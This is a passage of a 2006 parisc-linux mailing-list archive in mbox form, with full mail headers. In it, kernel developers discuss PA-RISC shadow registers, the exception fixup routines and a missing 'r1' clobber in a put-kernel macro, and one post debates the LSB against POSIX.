	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05851-10 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Apr 2006 11:28:22 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 1CD107D6E6
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Apr 2006 11:28:20 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k3KHSHwo022806;
	Thu, 20 Apr 2006 13:28:17 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k3KHSH7W022804;
	Thu, 20 Apr 2006 13:28:17 -0400 (EDT)
In-Reply-To: <119aab440604201009t2e5513c4n69b4a68477998768@mail.gmail.com>
	from "Carlos O'Donell" at Apr 20, 2006 01:09:20 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 3q0yd0xaODBpsLWUfGRMO041Ji9SWpLJ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23593

> > (here) insn, an interruption occures which in turn launch the
> > fixup_put_user_skip_1()
> 
> A couple more questions for research :)
> 
> Q: Does the process of interruption clobber registers?

r8 and r9?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Does it lakes some cloberred r1 in
Date: Thu, 20 Apr 2006 12:36:37 -0500
Lines: 32
Approved: news@gmane.org
Message-ID: <200604201236.37925.mszick@morethan.org>
References: <200604201728.k3KHSH7W022804@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624060 19003 80.91.229.3 (22 Nov 2014 02:41:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:00 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Apr 2006 17:36:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx050) with SMTP; 20 Apr 2006 19:36:48 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5606B7D6F9;
	Thu, 20 Apr 2006 11:36:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06343-10; Thu, 20 Apr 2006 11:36:45 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8D3317D6FA;
	Thu, 20 Apr 2006 11:36:44 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 23D807D6F2
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Apr 2006 11:36:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06343-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Apr 2006 11:36:40 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 410AB7D642
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Apr 2006 11:36:40 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k3KHaf4l086795
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Apr 2006 10:36:41 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [67.77.193.197] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id tZM0PeS2
	authenticated by SMTP; Thu, 20 Apr 2006 10:36:40 -0700 (PDT)
User-Agent: KMail/1.7.2
In-Reply-To: <200604201728.k3KHSH7W022804@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: hfR+fEBaYW0+truGbmZpbW50amthc9un
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23594

On Thu April 20 2006 12:28, John David Anglin wrote:
> > > (here) insn, an interruption occures which in turn launch the
> > > fixup_put_user_skip_1()
> > 
> > A couple more questions for research :)
> > 
> > Q: Does the process of interruption clobber registers?
> 
Joel,

The machine should switch a small sub-set of the general
registers to an alternate set, called the 'shadow registers'
for the interruption routine to use.

I do not recall the exact list of which register numbers
those are.  Search for 'shadow registers' in the acd.pdf

I do not know if r1 is shadowed or not.

If the interrupt routine needs to use other registers,
then it must save/restore them in that routine.

Mike
> r8 and r9?
> 
> Dave
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <matt@lackof.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ELF ABI Documents
Date: Thu, 20 Apr 2006 01:56:21 -0700
Lines: 50
Approved: news@gmane.org
Message-ID: <20060420085621.A64FC1AACC6@cyrix.home.bogus>
References: <200604181436.k3IEaG06004632@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624061 19006 80.91.229.3 (22 Nov 2014 02:41:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Apr 2006 08:56:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx060) with SMTP; 20 Apr 2006 10:56:37 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8C46E7D6D1;
	Thu, 20 Apr 2006 02:56:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00811-04; Thu, 20 Apr 2006 02:56:30 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0AC9E7D6CB;
	Thu, 20 Apr 2006 02:56:29 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CB3617D6C4
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Apr 2006 02:56:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00811-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Apr 2006 02:56:26 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id E3F067D6B3
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Apr 2006 02:56:25 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 1F2994581CE;
	Thu, 20 Apr 2006 03:08:08 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11959-02; Thu, 20 Apr 2006 03:08:06 -0600 (MDT)
Original-Received: from cyrix.home.bogus (c-24-18-190-241.hsd1.wa.comcast.net
	[24.18.190.241])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "taggart.lackof.org",
	Issuer "CAcert Class 3 Root" (verified OK))
	by colo.lackof.org (Postfix) with ESMTP id F24F94581CD;
	Thu, 20 Apr 2006 03:08:05 -0600 (MDT)
Original-Received: by cyrix.home.bogus (Postfix, from userid 22223)
	id A64FC1AACC6; Thu, 20 Apr 2006 01:56:21 -0700 (PDT)
Original-Received: from cyrix.home.bogus (localhost [127.0.0.1])
	by cyrix.home.bogus (Postfix) with ESMTP id 9F3392FEE2;
	Thu, 20 Apr 2006 01:56:21 -0700 (PDT)
X-Mailer: exmh version 2.7.2 01/07/2005 (debian 1:2.7.2-7) with nmh-1.1
In-reply-to: <200604181436.k3IEaG06004632@hiauly1.hia.nrc.ca> 
Comments: In-reply-to "John David Anglin" <dave@hiauly1.hia.nrc.ca>
	message dated "Tue, 18 Apr 2006 10:36:16 -0400."
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 8n51d5JEPTRt7OjGPjIwMzIxc2tpZEu1
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23595


"John David Anglin" writes...

> One of the criticisms of the LSB is that it simply documents what is
> and in large measure it just refers to other specifications.

1) The LSB is a trailing-edge standard, they don't "invent" standards, they 
just document the standards that are accepted and in use. The work coming up 
with new standards is being done elsewhere. (X.org and freedesktop.org for 
example)
2) Referring to other specs is a good thing, why reinvent the wheel?

> Whereas, specifications such as POSIX have been written by people
> aware of the subtle tradeoffs between different implementations
> and they try to actually specify an implementation.

To be fair, the LSB is in a hard position. On one hand you have application 
developers demanding an implementation "We want a solid predictable 
implementation that we can test on" and on the other you have the Linux 
distros screaming "Don't take away our right to innovate! Just stick to 
documenting interfaces and we'll make sure our implementations are compliant 
with them". What the LSB has done to try and balance in the middle is define a 
"sample implementation" rather than a "reference implementation". The LSB gets 
asked once a month "can't you just get all the Linux distros to agree on an 
implementation, or declare one of them the winner that everyone should use?" 
IMO the UnitedLinux, DCC, and UserLinux consortiums were all created with that 
as a goal.

There is also some communication between the LSB workgroup and the Austin 
Group and they are both benefitting from the other's work.

> If it's
> possible to obtain full community support, it's more likely that the
> document would be useful and a guide to implementors.  However,
> just documenting what is would be useful.

Here, here! And don't worry about doing the work via the LSB, just produce the 
standard and the LSB will adopt it when it makes sense.

-- 
Matt Taggart
matt@lackof.org


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Does it lakes some cloberred r1 in
Date: Thu, 20 Apr 2006 15:32:42 -0400 (EDT)
Lines: 39
Approved: news@gmane.org
Message-ID: <200604201932.k3KJWgKJ023738@hiauly1.hia.nrc.ca>
References: <200604201236.37925.mszick@morethan.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624061 19035 80.91.229.3 (22 Nov 2014 02:41:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: mszick@morethan.org (Michael S. Zick)
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Apr 2006 19:32:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx011) with SMTP; 20 Apr 2006 21:32:57 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8C5677D6D4;
	Thu, 20 Apr 2006 13:32:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07088-10; Thu, 20 Apr 2006 13:32:52 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A68CD7D6D5;
	Thu, 20 Apr 2006 13:32:51 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5EBDA7D6A1
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Apr 2006 13:32:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07088-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Apr 2006 13:32:47 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id AC2377D69F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Apr 2006 13:32:46 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k3KJWhpS023739;
	Thu, 20 Apr 2006 15:32:43 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k3KJWgKJ023738;
	Thu, 20 Apr 2006 15:32:42 -0400 (EDT)
In-Reply-To: <200604201236.37925.mszick@morethan.org> from "Michael S. Zick"
	at Apr 20, 2006 12:36:37 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: hIwlEP4PbXBtrLqHPTQ2ODYqLyUmZQiQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23596

> > > > (here) insn, an interruption occures which in turn launch the
> > > > fixup_put_user_skip_1()
> > > 
> > > A couple more questions for research :)
> > > 
> > > Q: Does the process of interruption clobber registers?
> > 
> Joel,
> 
> The machine should switch a small sub-set of the general
> registers to an alternate set, called the 'shadow registers'
> for the interruption routine to use.

fixup_put_user_skip_1() runs after the interruption, so the
shadow registers don't matter.  Look at the registers used
by fixup_put_user_skip_1() and where it returns.  Note that
GCC is only concerned about registers used in the current
function (i.e., if an asm changes sections and generates code
using registers in that section, this is all black magic to
GCC and it doesn't need to know about it).

It's clear that the __get* and __put* macros need brief comments
about the register use of the fixup routines.  Also, the fixup
routines need corresponding comments.

> I do not know if r1 is shadowed or not.

Yes.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Does it lakes some cloberred r1 in
Date: Thu, 20 Apr 2006 16:04:20 -0400
Lines: 86
Approved: news@gmane.org
Message-ID: <119aab440604201304g165a9218n885ef29fbfb7983b@mail.gmail.com>
References: <119aab440604201009t2e5513c4n69b4a68477998768@mail.gmail.com>
	<200604201728.k3KHSH7W022804@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624061 19039 80.91.229.3 (22 Nov 2014 02:41:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:01 +0000 (UTC)
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
 "Parisc List" <parisc-linux@lists.parisc-linux.org>,
 randolph <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Apr 2006 20:04:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx020) with SMTP; 20 Apr 2006 22:04:30 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 298F37D6A2;
	Thu, 20 Apr 2006 14:04:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07768-04; Thu, 20 Apr 2006 14:04:26 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B8DD17D6D4;
	Thu, 20 Apr 2006 14:04:24 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0D1937D6A1
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Apr 2006 14:04:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07595-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Apr 2006 14:04:21 -0600 (MDT)
Original-Received: from nz-out-0102.google.com (nz-out-0102.google.com [64.233.162.195])
	by free.linux.hp.com (Postfix) with ESMTP id 21B727D69B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Apr 2006 14:04:21 -0600 (MDT)
Original-Received: by nz-out-0102.google.com with SMTP id q3so225327nzb
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Apr 2006 13:04:20 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=D13EDrjkIolkXkqqzM0sq040tJpMN8VTLgph7cHvDZo8ULCqUF9nl71auHE6LKGiDSw9kZl895Iyh3gYW9sYSbuavFoTUKN3faKphzoELYOPIzMAccCXcsx4Fmu3MCh07g/BUC71zB/foN9UpuAnir07cIqdZf4F4txr45hcHvQ=
Original-Received: by 10.36.158.18 with SMTP id g18mr533658nze;
	Thu, 20 Apr 2006 13:04:20 -0700 (PDT)
Original-Received: by 10.36.72.10 with HTTP; Thu, 20 Apr 2006 13:04:20 -0700 (PDT)
In-Reply-To: <200604201728.k3KHSH7W022804@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: eNFycEduRkkei6uPfGRqamFmdWkvKNN2
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23597

parisc,

Cat's out of the bag, even Dave seems interested. Randolph, tell me
when I'm wrong. I did a review of this code for Randolph when he
implemented the first iteration.

> > Q: Does the process of interruption clobber registers?
> r8 and r9?

Normally no, these are shadowed registers. However see below.

Routines used reside in:
~~~~~~~~~~~~~~~~~~
kernel/entry.S
kernel/traps.c
mm/fault.c

Exception Stages:
~~~~~~~~~~~~~~~
Exception happens.
Trap handler executes.
We don't handle the exception in assembly?
Shadow registers are not enough to execute C code.
All registers saved.
Load or Store has an exception table entry "fixup" in the kernel.
iaoq[0] and iaoq[1] are set to the address of the fixup.
gr[0] has the B-bit zeroed.
When the interrupt returns you execute the fixup function.

A: The process of interruption does not clobber any registers.
Corollory: The process of fixup uses r8/r9 as outputs, with r1 clobbered.

A: The fixups run in the original context of the failed load/store.

Generic Fixup Functions
~~~~~~~~~~~~~~~~~~~
There are 4 generic fixup functions:
The first 2 correspond to failed loads.
The second 2 correspond to failed stores.
There is also a FIXUP_BRANCH in the emulation routines.

arch/parisc/lib/fixup.S
fixup_get_user_skip1  (Skip 1 word, used in 32-bit mode)
fixup_get_user_skip2  (Skip 2 words, used in 64-bit mode)
fixup_put_user_skip1  ( " )
fixup_put_user_skip2  ( " )

The macro "get_fault_ip" is used by each of the 4 generic
fixups and clobbers both inputs and r1.

The registers used for each of the following functions:
r8 - Stores return value / Used as temp in get_fault_ip
r9 - Returned value (We don't want to clobber ret0)
r1 - Used as temp to load fault ip + 4/8, Used as temp in get_fault_ip.

All of the put get asm routines should list "r1" as a clobber.
All of the put get asm routines already list r8 and r9 as outputs.

Joel is correct in saying that there is a __put_kernel_asm for 64-bit
mode which is missing an r1 clobber. However, you need to know why
you are correct and understand the repercussions of the change.

All of the routines using FIXUP_BRANCH must specify "r1" clobbered.

Caveats:
- The fixup routines read the exception tables but don't list that
  memory as an input. Hence mixing put and get user/kernel
  calls and modifications to the exception tables is dangerous?

Summary:
- Add the missing "r1" clobber to the 64-bit put kernel macro.
  Run a boot test. Post a patch including the result of the boot test.

- Add the missing "r1" clobbers to any asm using FIXUP_BRANCH.
  Run a boot test. Post a pach including the result of the boot test.

Thanks!

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
